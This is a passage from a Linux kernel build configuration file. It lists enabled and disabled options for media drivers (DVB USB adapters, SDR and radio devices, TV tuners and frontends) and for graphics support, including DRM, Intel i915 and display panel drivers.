CONFIG_DVB_USB_TECHNISAT_USB2=y
CONFIG_DVB_USB_TTUSB2=y
CONFIG_DVB_USB_UMT_010=y
CONFIG_DVB_USB_VP702X=y
CONFIG_DVB_USB_VP7045=y
CONFIG_SMS_USB_DRV=y
CONFIG_DVB_TTUSB_BUDGET=y
CONFIG_DVB_TTUSB_DEC=y

#
# Webcam, TV (analog/digital) USB devices
#
CONFIG_VIDEO_EM28XX=y
CONFIG_VIDEO_EM28XX_V4L2=y
CONFIG_VIDEO_EM28XX_ALSA=y
CONFIG_VIDEO_EM28XX_DVB=y
CONFIG_VIDEO_EM28XX_RC=y

#
# Software defined radio USB devices
#
CONFIG_USB_AIRSPY=y
CONFIG_USB_HACKRF=y
CONFIG_USB_MSI2500=y
# CONFIG_MEDIA_PCI_SUPPORT is not set
CONFIG_RADIO_ADAPTERS=y
# CONFIG_RADIO_MAXIRADIO is not set
# CONFIG_RADIO_SAA7706H is not set
CONFIG_RADIO_SHARK=y
CONFIG_RADIO_SHARK2=y
CONFIG_RADIO_SI4713=y
CONFIG_RADIO_TEA575X=y
# CONFIG_RADIO_TEA5764 is not set
# CONFIG_RADIO_TEF6862 is not set
CONFIG_USB_DSBR=y
CONFIG_USB_KEENE=y
CONFIG_USB_MA901=y
CONFIG_USB_MR800=y
CONFIG_USB_RAREMONO=y
CONFIG_RADIO_SI470X=y
CONFIG_USB_SI470X=y
# CONFIG_I2C_SI470X is not set
CONFIG_USB_SI4713=y
# CONFIG_PLATFORM_SI4713 is not set
CONFIG_I2C_SI4713=y
# CONFIG_MEDIA_PLATFORM_DRIVERS is not set

#
# MMC/SDIO DVB adapters
#
CONFIG_SMS_SDIO_DRV=y
CONFIG_V4L_TEST_DRIVERS=y
CONFIG_VIDEO_VIM2M=y
CONFIG_VIDEO_VICODEC=y
CONFIG_VIDEO_VIMC=y
CONFIG_VIDEO_VIVID=y
CONFIG_VIDEO_VIVID_CEC=y
# CONFIG_VIDEO_VIVID_OSD is not set
CONFIG_VIDEO_VIVID_MAX_DEVS=64
# CONFIG_VIDEO_VISL is not set
CONFIG_DVB_TEST_DRIVERS=y
CONFIG_DVB_VIDTV=y

#
# FireWire (IEEE 1394) Adapters
#
# CONFIG_DVB_FIREDTV is not set
CONFIG_MEDIA_COMMON_OPTIONS=y

#
# common driver options
#
CONFIG_CYPRESS_FIRMWARE=y
CONFIG_TTPCI_EEPROM=y
CONFIG_UVC_COMMON=y
CONFIG_VIDEO_CX2341X=y
CONFIG_VIDEO_TVEEPROM=y
CONFIG_DVB_B2C2_FLEXCOP=y
CONFIG_SMS_SIANO_MDTV=y
CONFIG_SMS_SIANO_RC=y
CONFIG_SMS_SIANO_DEBUGFS=y
CONFIG_VIDEO_V4L2_TPG=y
CONFIG_VIDEOBUF2_CORE=y
CONFIG_VIDEOBUF2_V4L2=y
CONFIG_VIDEOBUF2_MEMOPS=y
CONFIG_VIDEOBUF2_DMA_CONTIG=y
CONFIG_VIDEOBUF2_VMALLOC=y
CONFIG_VIDEOBUF2_DMA_SG=y
# end of Media drivers

#
# Media ancillary drivers
#
CONFIG_MEDIA_ATTACH=y
# CONFIG_VIDEO_IR_I2C is not set
# CONFIG_VIDEO_CAMERA_SENSOR is not set

#
# Camera ISPs
#
# CONFIG_VIDEO_THP7312 is not set
# end of Camera ISPs

# CONFIG_VIDEO_CAMERA_LENS is not set

#
# Flash devices
#
# CONFIG_VIDEO_ADP1653 is not set
# CONFIG_VIDEO_LM3560 is not set
# CONFIG_VIDEO_LM3646 is not set
# end of Flash devices

#
# Audio decoders, processors and mixers
#
# CONFIG_VIDEO_CS3308 is not set
# CONFIG_VIDEO_CS5345 is not set
CONFIG_VIDEO_CS53L32A=y
CONFIG_VIDEO_MSP3400=y
# CONFIG_VIDEO_SONY_BTF_MPX is not set
# CONFIG_VIDEO_TDA1997X is not set
# CONFIG_VIDEO_TDA7432 is not set
# CONFIG_VIDEO_TDA9840 is not set
# CONFIG_VIDEO_TEA6415C is not set
# CONFIG_VIDEO_TEA6420 is not set
# CONFIG_VIDEO_TLV320AIC23B is not set
# CONFIG_VIDEO_TVAUDIO is not set
# CONFIG_VIDEO_UDA1342 is not set
# CONFIG_VIDEO_VP27SMPX is not set
# CONFIG_VIDEO_WM8739 is not set
CONFIG_VIDEO_WM8775=y
# end of Audio decoders, processors and mixers

#
# RDS decoders
#
# CONFIG_VIDEO_SAA6588 is not set
# end of RDS decoders

#
# Video decoders
#
# CONFIG_VIDEO_ADV7180 is not set
# CONFIG_VIDEO_ADV7183 is not set
# CONFIG_VIDEO_ADV748X is not set
# CONFIG_VIDEO_ADV7604 is not set
# CONFIG_VIDEO_ADV7842 is not set
# CONFIG_VIDEO_BT819 is not set
# CONFIG_VIDEO_BT856 is not set
# CONFIG_VIDEO_BT866 is not set
# CONFIG_VIDEO_ISL7998X is not set
# CONFIG_VIDEO_LT6911UXE is not set
# CONFIG_VIDEO_KS0127 is not set
# CONFIG_VIDEO_MAX9286 is not set
# CONFIG_VIDEO_ML86V7667 is not set
# CONFIG_VIDEO_SAA7110 is not set
CONFIG_VIDEO_SAA711X=y
# CONFIG_VIDEO_TC358743 is not set
# CONFIG_VIDEO_TC358746 is not set
# CONFIG_VIDEO_TVP514X is not set
# CONFIG_VIDEO_TVP5150 is not set
# CONFIG_VIDEO_TVP7002 is not set
# CONFIG_VIDEO_TW2804 is not set
# CONFIG_VIDEO_TW9900 is not set
# CONFIG_VIDEO_TW9903 is not set
# CONFIG_VIDEO_TW9906 is not set
# CONFIG_VIDEO_TW9910 is not set
# CONFIG_VIDEO_VPX3220 is not set

#
# Video and audio decoders
#
# CONFIG_VIDEO_SAA717X is not set
CONFIG_VIDEO_CX25840=y
# end of Video decoders

#
# Video encoders
#
# CONFIG_VIDEO_ADV7170 is not set
# CONFIG_VIDEO_ADV7175 is not set
# CONFIG_VIDEO_ADV7343 is not set
# CONFIG_VIDEO_ADV7393 is not set
# CONFIG_VIDEO_ADV7511 is not set
# CONFIG_VIDEO_AK881X is not set
# CONFIG_VIDEO_SAA7127 is not set
# CONFIG_VIDEO_SAA7185 is not set
# CONFIG_VIDEO_THS8200 is not set
# end of Video encoders

#
# Video improvement chips
#
# CONFIG_VIDEO_UPD64031A is not set
# CONFIG_VIDEO_UPD64083 is not set
# end of Video improvement chips

#
# Audio/Video compression chips
#
# CONFIG_VIDEO_SAA6752HS is not set
# end of Audio/Video compression chips

#
# SDR tuner chips
#
# CONFIG_SDR_MAX2175 is not set
# end of SDR tuner chips

#
# Miscellaneous helper chips
#
# CONFIG_VIDEO_INTEL_CVS is not set
# CONFIG_VIDEO_I2C is not set
# CONFIG_VIDEO_M52790 is not set
# CONFIG_VIDEO_ST_MIPID02 is not set
# CONFIG_VIDEO_THS7303 is not set
# end of Miscellaneous helper chips

#
# Video serializers and deserializers
#
# CONFIG_VIDEO_DS90UB913 is not set
# CONFIG_VIDEO_DS90UB953 is not set
# CONFIG_VIDEO_DS90UB960 is not set
# CONFIG_VIDEO_MAX96714 is not set
# CONFIG_VIDEO_MAX96717 is not set
# end of Video serializers and deserializers

#
# Media SPI Adapters
#
# CONFIG_CXD2880_SPI_DRV is not set
# CONFIG_VIDEO_GS1662 is not set
# end of Media SPI Adapters

CONFIG_MEDIA_TUNER=y

#
# Customize TV tuners
#
# CONFIG_MEDIA_TUNER_E4000 is not set
# CONFIG_MEDIA_TUNER_FC0011 is not set
# CONFIG_MEDIA_TUNER_FC0012 is not set
# CONFIG_MEDIA_TUNER_FC0013 is not set
# CONFIG_MEDIA_TUNER_FC2580 is not set
# CONFIG_MEDIA_TUNER_IT913X is not set
# CONFIG_MEDIA_TUNER_M88RS6000T is not set
# CONFIG_MEDIA_TUNER_MAX2165 is not set
# CONFIG_MEDIA_TUNER_MC44S803 is not set
CONFIG_MEDIA_TUNER_MSI001=y
# CONFIG_MEDIA_TUNER_MT2060 is not set
# CONFIG_MEDIA_TUNER_MT2063 is not set
# CONFIG_MEDIA_TUNER_MT20XX is not set
# CONFIG_MEDIA_TUNER_MT2131 is not set
# CONFIG_MEDIA_TUNER_MT2266 is not set
# CONFIG_MEDIA_TUNER_MXL301RF is not set
# CONFIG_MEDIA_TUNER_MXL5005S is not set
# CONFIG_MEDIA_TUNER_MXL5007T is not set
# CONFIG_MEDIA_TUNER_QM1D1B0004 is not set
# CONFIG_MEDIA_TUNER_QM1D1C0042 is not set
# CONFIG_MEDIA_TUNER_QT1010 is not set
# CONFIG_MEDIA_TUNER_R820T is not set
# CONFIG_MEDIA_TUNER_SI2157 is not set
# CONFIG_MEDIA_TUNER_SIMPLE is not set
# CONFIG_MEDIA_TUNER_TDA18212 is not set
# CONFIG_MEDIA_TUNER_TDA18218 is not set
# CONFIG_MEDIA_TUNER_TDA18250 is not set
# CONFIG_MEDIA_TUNER_TDA18271 is not set
# CONFIG_MEDIA_TUNER_TDA827X is not set
# CONFIG_MEDIA_TUNER_TDA8290 is not set
# CONFIG_MEDIA_TUNER_TDA9887 is not set
# CONFIG_MEDIA_TUNER_TEA5761 is not set
# CONFIG_MEDIA_TUNER_TEA5767 is not set
# CONFIG_MEDIA_TUNER_TUA9001 is not set
# CONFIG_MEDIA_TUNER_XC2028 is not set
# CONFIG_MEDIA_TUNER_XC4000 is not set
# CONFIG_MEDIA_TUNER_XC5000 is not set
# end of Customize TV tuners

#
# Customise DVB Frontends
#

#
# Multistandard (satellite) frontends
#
# CONFIG_DVB_M88DS3103 is not set
# CONFIG_DVB_MXL5XX is not set
# CONFIG_DVB_STB0899 is not set
# CONFIG_DVB_STB6100 is not set
# CONFIG_DVB_STV090x is not set
# CONFIG_DVB_STV0910 is not set
# CONFIG_DVB_STV6110x is not set
# CONFIG_DVB_STV6111 is not set

#
# Multistandard (cable + terrestrial) frontends
#
# CONFIG_DVB_DRXK is not set
# CONFIG_DVB_MN88472 is not set
# CONFIG_DVB_MN88473 is not set
# CONFIG_DVB_SI2165 is not set
# CONFIG_DVB_TDA18271C2DD is not set

#
# DVB-S (satellite) frontends
#
# CONFIG_DVB_CX24110 is not set
# CONFIG_DVB_CX24116 is not set
# CONFIG_DVB_CX24117 is not set
# CONFIG_DVB_CX24120 is not set
# CONFIG_DVB_CX24123 is not set
# CONFIG_DVB_DS3000 is not set
# CONFIG_DVB_MB86A16 is not set
# CONFIG_DVB_MT312 is not set
# CONFIG_DVB_S5H1420 is not set
# CONFIG_DVB_SI21XX is not set
# CONFIG_DVB_STB6000 is not set
# CONFIG_DVB_STV0288 is not set
# CONFIG_DVB_STV0299 is not set
# CONFIG_DVB_STV0900 is not set
# CONFIG_DVB_STV6110 is not set
# CONFIG_DVB_TDA10071 is not set
# CONFIG_DVB_TDA10086 is not set
# CONFIG_DVB_TDA8083 is not set
# CONFIG_DVB_TDA8261 is not set
# CONFIG_DVB_TDA826X is not set
# CONFIG_DVB_TS2020 is not set
# CONFIG_DVB_TUA6100 is not set
# CONFIG_DVB_TUNER_CX24113 is not set
# CONFIG_DVB_TUNER_ITD1000 is not set
# CONFIG_DVB_VES1X93 is not set
# CONFIG_DVB_ZL10036 is not set
# CONFIG_DVB_ZL10039 is not set

#
# DVB-T (terrestrial) frontends
#
CONFIG_DVB_AF9013=y
CONFIG_DVB_AS102_FE=y
# CONFIG_DVB_CX22700 is not set
# CONFIG_DVB_CX22702 is not set
# CONFIG_DVB_CXD2820R is not set
# CONFIG_DVB_CXD2841ER is not set
CONFIG_DVB_DIB3000MB=y
CONFIG_DVB_DIB3000MC=y
# CONFIG_DVB_DIB7000M is not set
# CONFIG_DVB_DIB7000P is not set
# CONFIG_DVB_DIB9000 is not set
# CONFIG_DVB_DRXD is not set
CONFIG_DVB_EC100=y
CONFIG_DVB_GP8PSK_FE=y
# CONFIG_DVB_L64781 is not set
# CONFIG_DVB_MT352 is not set
# CONFIG_DVB_NXT6000 is not set
CONFIG_DVB_RTL2830=y
CONFIG_DVB_RTL2832=y
CONFIG_DVB_RTL2832_SDR=y
# CONFIG_DVB_S5H1432 is not set
# CONFIG_DVB_SI2168 is not set
# CONFIG_DVB_SP887X is not set
# CONFIG_DVB_STV0367 is not set
# CONFIG_DVB_TDA10048 is not set
# CONFIG_DVB_TDA1004X is not set
# CONFIG_DVB_ZD1301_DEMOD is not set
CONFIG_DVB_ZL10353=y
# CONFIG_DVB_CXD2880 is not set

#
# DVB-C (cable) frontends
#
# CONFIG_DVB_STV0297 is not set
# CONFIG_DVB_TDA10021 is not set
# CONFIG_DVB_TDA10023 is not set
# CONFIG_DVB_VES1820 is not set

#
# ATSC (North American/Korean Terrestrial/Cable DTV) frontends
#
# CONFIG_DVB_AU8522_DTV is not set
# CONFIG_DVB_AU8522_V4L is not set
# CONFIG_DVB_BCM3510 is not set
# CONFIG_DVB_LG2160 is not set
# CONFIG_DVB_LGDT3305 is not set
# CONFIG_DVB_LGDT3306A is not set
# CONFIG_DVB_LGDT330X is not set
# CONFIG_DVB_MXL692 is not set
# CONFIG_DVB_NXT200X is not set
# CONFIG_DVB_OR51132 is not set
# CONFIG_DVB_OR51211 is not set
# CONFIG_DVB_S5H1409 is not set
# CONFIG_DVB_S5H1411 is not set

#
# ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_DIB8000 is not set
# CONFIG_DVB_MB86A20S is not set
# CONFIG_DVB_S921 is not set

#
# ISDB-S (satellite) & ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_MN88443X is not set
# CONFIG_DVB_TC90522 is not set

#
# Digital terrestrial only tuners/PLL
#
# CONFIG_DVB_PLL is not set
# CONFIG_DVB_TUNER_DIB0070 is not set
# CONFIG_DVB_TUNER_DIB0090 is not set

#
# SEC control devices for DVB-S
#
# CONFIG_DVB_A8293 is not set
CONFIG_DVB_AF9033=y
# CONFIG_DVB_ASCOT2E is not set
# CONFIG_DVB_ATBM8830 is not set
# CONFIG_DVB_HELENE is not set
# CONFIG_DVB_HORUS3A is not set
# CONFIG_DVB_ISL6405 is not set
# CONFIG_DVB_ISL6421 is not set
# CONFIG_DVB_ISL6423 is not set
# CONFIG_DVB_IX2505V is not set
# CONFIG_DVB_LGS8GL5 is not set
# CONFIG_DVB_LGS8GXX is not set
# CONFIG_DVB_LNBH25 is not set
# CONFIG_DVB_LNBH29 is not set
# CONFIG_DVB_LNBP21 is not set
# CONFIG_DVB_LNBP22 is not set
# CONFIG_DVB_M88RS2000 is not set
# CONFIG_DVB_TDA665x is not set
# CONFIG_DVB_DRX39XYJ is not set

#
# Common Interface (EN50221) controller drivers
#
# CONFIG_DVB_CXD2099 is not set
# CONFIG_DVB_SP2 is not set
# end of Customise DVB Frontends

#
# Tools to develop new frontends
#
# CONFIG_DVB_DUMMY_FE is not set
# end of Media ancillary drivers

#
# Graphics support
#
CONFIG_APERTURE_HELPERS=y
CONFIG_SCREEN_INFO=y
CONFIG_VIDEO=y
# CONFIG_AUXDISPLAY is not set
# CONFIG_PANEL is not set
CONFIG_AGP=y
CONFIG_AGP_AMD64=y
CONFIG_AGP_INTEL=y
# CONFIG_AGP_SIS is not set
# CONFIG_AGP_VIA is not set
CONFIG_INTEL_GTT=y
# CONFIG_VGA_SWITCHEROO is not set
CONFIG_GPU_BUDDY=y
CONFIG_DRM=y

#
# DRM debugging options
#
# CONFIG_DRM_WERROR is not set
CONFIG_DRM_DEBUG_MM=y
# end of DRM debugging options

CONFIG_DRM_MIPI_DSI=y
CONFIG_DRM_KMS_HELPER=y
# CONFIG_DRM_PANIC is not set
# CONFIG_DRM_RAS is not set
# CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set
# CONFIG_DRM_DEBUG_MODESET_LOCK is not set
CONFIG_DRM_CLIENT=y
CONFIG_DRM_CLIENT_LIB=y
CONFIG_DRM_CLIENT_SELECTION=y
CONFIG_DRM_CLIENT_SETUP=y

#
# Supported DRM clients
#
CONFIG_DRM_FBDEV_EMULATION=y
CONFIG_DRM_FBDEV_OVERALLOC=100
# CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set
# CONFIG_DRM_CLIENT_LOG is not set
CONFIG_DRM_CLIENT_DEFAULT_FBDEV=y
CONFIG_DRM_CLIENT_DEFAULT="fbdev"
# end of Supported DRM clients

# CONFIG_DRM_LOAD_EDID_FIRMWARE is not set
CONFIG_DRM_DISPLAY_DP_AUX_BUS=y
CONFIG_DRM_DISPLAY_HELPER=y
# CONFIG_DRM_DISPLAY_DP_AUX_CEC is not set
# CONFIG_DRM_DISPLAY_DP_AUX_CHARDEV is not set
CONFIG_DRM_DISPLAY_DP_HELPER=y
CONFIG_DRM_DISPLAY_DSC_HELPER=y
CONFIG_DRM_DISPLAY_HDCP_HELPER=y
CONFIG_DRM_DISPLAY_HDMI_HELPER=y
CONFIG_DRM_TTM=y
CONFIG_DRM_BUDDY=y
CONFIG_DRM_TTM_HELPER=y
CONFIG_DRM_GEM_SHMEM_HELPER=y
# CONFIG_DRM_AMDGPU is not set

#
# ARM devices
#
# CONFIG_DRM_KOMEDA is not set
# end of ARM devices

# CONFIG_DRM_AST is not set
CONFIG_DRM_BRIDGE=y
CONFIG_DRM_PANEL_BRIDGE=y
CONFIG_DRM_AUX_BRIDGE=y
CONFIG_DRM_AUX_HPD_BRIDGE=y

#
# Display Interface Bridges
#
# CONFIG_DRM_CHIPONE_ICN6211 is not set
# CONFIG_DRM_CHRONTEL_CH7033 is not set
# CONFIG_DRM_DISPLAY_CONNECTOR is not set
# CONFIG_DRM_I2C_NXP_TDA998X is not set
# CONFIG_DRM_ITE_IT6263 is not set
# CONFIG_DRM_ITE_IT6505 is not set
# CONFIG_DRM_LONTIUM_LT8912B is not set
# CONFIG_DRM_LONTIUM_LT9211 is not set
# CONFIG_DRM_LONTIUM_LT9611 is not set
# CONFIG_DRM_LONTIUM_LT9611UXC is not set
# CONFIG_DRM_LONTIUM_LT8713SX is not set
# CONFIG_DRM_ITE_IT66121 is not set
# CONFIG_DRM_LVDS_CODEC is not set
# CONFIG_DRM_MEGACHIPS_STDPXXXX_GE_B850V3_FW is not set
# CONFIG_DRM_NWL_MIPI_DSI is not set
# CONFIG_DRM_NXP_PTN3460 is not set
# CONFIG_DRM_PARADE_PS8622 is not set
# CONFIG_DRM_PARADE_PS8640 is not set
# CONFIG_DRM_SAMSUNG_DSIM is not set
# CONFIG_DRM_SIL_SII8620 is not set
# CONFIG_DRM_SII902X is not set
# CONFIG_DRM_SII9234 is not set
# CONFIG_DRM_SIMPLE_BRIDGE is not set
# CONFIG_DRM_SOLOMON_SSD2825 is not set
# CONFIG_DRM_THINE_THC63LVD1024 is not set
# CONFIG_DRM_TOSHIBA_TC358762 is not set
# CONFIG_DRM_TOSHIBA_TC358764 is not set
# CONFIG_DRM_TOSHIBA_TC358767 is not set
# CONFIG_DRM_TOSHIBA_TC358768 is not set
# CONFIG_DRM_TOSHIBA_TC358775 is not set
# CONFIG_DRM_TI_DLPC3433 is not set
# CONFIG_DRM_TI_TDP158 is not set
# CONFIG_DRM_TI_TFP410 is not set
# CONFIG_DRM_TI_SN65DSI83 is not set
# CONFIG_DRM_TI_SN65DSI86 is not set
# CONFIG_DRM_TI_TPD12S015 is not set
# CONFIG_DRM_WAVESHARE_BRIDGE is not set
# CONFIG_DRM_ANALOGIX_ANX6345 is not set
# CONFIG_DRM_ANALOGIX_ANX78XX is not set
# CONFIG_DRM_ANALOGIX_ANX7625 is not set
# CONFIG_DRM_I2C_ADV7511 is not set
# CONFIG_DRM_CDNS_DSI is not set
# CONFIG_DRM_CDNS_MHDP8546 is not set
# end of Display Interface Bridges

# CONFIG_DRM_ETNAVIV is not set
# CONFIG_DRM_GMA500 is not set
CONFIG_DRM_GUD=y
# CONFIG_DRM_HISI_HIBMC is not set
CONFIG_DRM_I915=y
CONFIG_DRM_I915_FORCE_PROBE=""
CONFIG_DRM_I915_CAPTURE_ERROR=y
CONFIG_DRM_I915_COMPRESS_ERROR=y
CONFIG_DRM_I915_USERPTR=y
# CONFIG_DRM_I915_GVT_KVMGT is not set
# CONFIG_DRM_I915_DP_TUNNEL is not set

#
# drm/i915 Debugging
#
# CONFIG_DRM_I915_WERROR is not set
# CONFIG_DRM_I915_REPLAY_GPU_HANGS_API is not set
# CONFIG_DRM_I915_DEBUG is not set
# CONFIG_DRM_I915_DEBUG_MMIO is not set
# CONFIG_DRM_I915_SW_FENCE_DEBUG_OBJECTS is not set
# CONFIG_DRM_I915_SW_FENCE_CHECK_DAG is not set
# CONFIG_DRM_I915_DEBUG_GUC is not set
# CONFIG_DRM_I915_SELFTEST is not set
# CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS is not set
# CONFIG_DRM_I915_DEBUG_VBLANK_EVADE is not set
# CONFIG_DRM_I915_DEBUG_RUNTIME_PM is not set
# CONFIG_DRM_I915_DEBUG_WAKEREF is not set
# end of drm/i915 Debugging

#
# drm/i915 Profile Guided Optimisation
#
CONFIG_DRM_I915_REQUEST_TIMEOUT=20000
CONFIG_DRM_I915_FENCE_TIMEOUT=10000
CONFIG_DRM_I915_USERFAULT_AUTOSUSPEND=250
CONFIG_DRM_I915_HEARTBEAT_INTERVAL=2500
CONFIG_DRM_I915_PREEMPT_TIMEOUT=640
CONFIG_DRM_I915_PREEMPT_TIMEOUT_COMPUTE=7500
CONFIG_DRM_I915_MAX_REQUEST_BUSYWAIT=8000
CONFIG_DRM_I915_STOP_TIMEOUT=100
CONFIG_DRM_I915_TIMESLICE_DURATION=1
# end of drm/i915 Profile Guided Optimisation

# CONFIG_DRM_LOGICVC is not set
# CONFIG_DRM_MGAG200 is not set
# CONFIG_DRM_NOUVEAU is not set
CONFIG_DRM_PANEL=y

#
# Display Panels
#
# CONFIG_DRM_PANEL_ABT_Y030XX067A is not set
# CONFIG_DRM_PANEL_ANBERNIC_TD4310 is not set
# CONFIG_DRM_PANEL_ARM_VERSATILE is not set
# CONFIG_DRM_PANEL_ASUS_Z00T_TM5P5_NT35596 is not set
# CONFIG_DRM_PANEL_AUO_A030JTN01 is not set
# CONFIG_DRM_PANEL_BOE_BF060Y8M_AJ0 is not set
# CONFIG_DRM_PANEL_BOE_HIMAX8279D is not set
# CONFIG_DRM_PANEL_BOE_TD4320 is not set
# CONFIG_DRM_PANEL_BOE_TH101MB31UIG002_28A is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_NL6 is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_LL2 is not set
# CONFIG_DRM_PANEL_CHIPONE_ICNA35XX is not set
# CONFIG_DRM_PANEL_CHIPWEALTH_CH13726A is not set
# CONFIG_DRM_PANEL_EBBG_FT8719 is not set
# CONFIG_DRM_PANEL_ELIDA_KD35T133 is not set
# CONFIG_DRM_PANEL_FEIXIN_K101_IM2BA02 is not set
# CONFIG_DRM_PANEL_FEIYANG_FY07024DI26A30D is not set
# CONFIG_DRM_PANEL_FOCALTECH_OTA7290B is not set
# CONFIG_DRM_PANEL_DSI_CM is not set
# CONFIG_DRM_PANEL_LVDS is not set
# CONFIG_DRM_PANEL_HIMAX_HX8279 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83102 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112A is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112B is not set
# CONFIG_DRM_PANEL_HIMAX_HX83121A is not set
# CONFIG_DRM_PANEL_HIMAX_HX8394 is not set
# CONFIG_DRM_PANEL_HYDIS_HV101HD1 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI7807S is not set
# CONFIG_DRM_PANEL_ILITEK_IL9322 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9341 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9488 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9805 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9806E_DSI is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9806E_SPI is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9881C is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9882T is not set
# CONFIG_DRM_PANEL_INNOLUX_EJ030NA is not set
# CONFIG_DRM_PANEL_INNOLUX_P079ZCA is not set
# CONFIG_DRM_PANEL_JADARD_JD9365DA_H3 is not set
# CONFIG_DRM_PANEL_JDI_LPM102A188A is not set
# CONFIG_DRM_PANEL_JDI_LT070ME05000 is not set
# CONFIG_DRM_PANEL_JDI_R63452 is not set
# CONFIG_DRM_PANEL_KHADAS_TS050 is not set
# CONFIG_DRM_PANEL_KINGDISPLAY_KD097D04 is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK050H3146W is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK500HD1829 is not set
# CONFIG_DRM_PANEL_LINCOLNTECH_LCD197 is not set
# CONFIG_DRM_PANEL_LG_LB035Q02 is not set
# CONFIG_DRM_PANEL_LG_LD070WX3 is not set
# CONFIG_DRM_PANEL_LG_LG4573 is not set
# CONFIG_DRM_PANEL_LG_SW43408 is not set
# CONFIG_DRM_PANEL_LXD_M9189A is not set
# CONFIG_DRM_PANEL_MAGNACHIP_D53E6EA8966 is not set
# CONFIG_DRM_PANEL_MANTIX_MLAF057WE51 is not set
# CONFIG_DRM_PANEL_MOTOROLA_MOT is not set
# CONFIG_DRM_PANEL_NEC_NL8048HL11 is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3051D is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3052C is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35510 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35532 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35560 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35950 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36523 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36536 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672A is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672E is not set
# CONFIG_DRM_PANEL_NOVATEK_NT37700F is not set
# CONFIG_DRM_PANEL_NOVATEK_NT37801 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT39016 is not set
# CONFIG_DRM_PANEL_OLIMEX_LCD_OLINUXINO is not set
# CONFIG_DRM_PANEL_ORISETECH_OTA5601A is not set
# CONFIG_DRM_PANEL_ORISETECH_OTM8009A is not set
# CONFIG_DRM_PANEL_OSD_OSD101T2587_53TS is not set
# CONFIG_DRM_PANEL_PANASONIC_VVX10F034N00 is not set
# CONFIG_DRM_PANEL_RASPBERRYPI_TOUCHSCREEN is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67191 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM68200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM692E5 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM69380 is not set
# CONFIG_DRM_PANEL_RENESAS_R61307 is not set
# CONFIG_DRM_PANEL_RENESAS_R63419 is not set
# CONFIG_DRM_PANEL_RENESAS_R69328 is not set
# CONFIG_DRM_PANEL_RONBO_RB070D30 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS581VF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS639RQ08 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS427AP24 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS452EF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_ATNA33XC20 is not set
# CONFIG_DRM_PANEL_SAMSUNG_DB7430 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LD9040 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LTL106HL02 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FA7 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D16D0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D27A1 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D7AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FC2X01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA2 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA8 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63J0X03 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63M0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA5X01_AMS561RA01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8FC0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_SOFEF00 is not set
# CONFIG_DRM_PANEL_SEIKO_43WVF1G is not set
# CONFIG_DRM_PANEL_SHARP_LQ079L1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LQ101R1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LS037V7DW01 is not set
# CONFIG_DRM_PANEL_SHARP_LS043T1LE01 is not set
# CONFIG_DRM_PANEL_SHARP_LS060T1SX01 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7701 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7703 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7789V is not set
# CONFIG_DRM_PANEL_SONY_ACX565AKM is not set
# CONFIG_DRM_PANEL_SONY_TD4353_JDI is not set
# CONFIG_DRM_PANEL_SONY_TULIP_TRULY_NT35521 is not set
# CONFIG_DRM_PANEL_STARTEK_KD070FHFID015 is not set
CONFIG_DRM_PANEL_EDP=y
# CONFIG_DRM_PANEL_SIMPLE is not set
# CONFIG_DRM_PANEL_SUMMIT is not set
# CONFIG_DRM_PANEL_SYNAPTICS_R63353 is not set
